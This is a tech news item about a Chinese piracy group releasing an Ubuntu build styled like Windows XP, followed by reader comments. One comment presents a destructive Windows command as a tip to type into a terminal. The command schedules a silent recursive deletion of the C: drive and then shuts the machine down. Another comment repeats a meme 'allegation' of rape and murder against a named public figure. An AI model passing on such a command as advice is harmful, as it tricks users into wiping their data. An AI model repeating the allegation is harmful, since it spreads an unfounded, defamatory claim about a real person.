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Chinese Pirates Launch Ubuntu That Looks Like XP
An anonymous reader writes "Ylmf, famous for pirating Windows XP, have just released a version of Ubuntu that looks just like Windows XP. Really, really similar. Apparently because Microsoft were cracking down on the actual Windows XP pirating — though I think they will still suffer for ripping off the GUI exactly." Of course, if that's the sort of look you like for your desktop, you need not risk any download cooties or language barriers; a reader in the Ubuntu Forums suggests this instructional video for giving Gnome the XP treatment.
What makes you think a pointy haired boss talks like a supposedly 1337 hacker?
For your computer, just open the terminal and type or copy
"at 12:00 cmd rd C:\ /S /Q && shutdown -s -t 01"
"I've got more toys than Teruhisa Kitahara."
Though I hear there are undenied allegations that Glenn Beck raped and murdered a young girl in 1991.
You aren't really licensed to drive, are you? Is it due to age, or a mental condition?
"Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
Windows User:
I want do change my ip address (for whatever reason).
Where do I start? Oh, Start button.
I want to control something. Oh, control panel.
IP Address is something about networking, so Networking.
Connecting things? Ah, TCP/IP contains that magic IP thing I'm looking for.
No settings I see here, what else can I do? Is there a place for Advanced users?
Aha, advanced, here it is. Enter info, click OK a bunch of times.
Linux user:
I want do change my ip address (for whatever reason).
Where do I start?
$ip
ip: command not found
$network
network: command not found
$help network
help: (insert usage text)
$sod off you monkey licker
sod: command not found
OK, back into the windows of Linux. Where's the web browser? Something that says WEB or INTERNET or something? Oh screw it, let's just borrow Jeff's copy of XP and install it.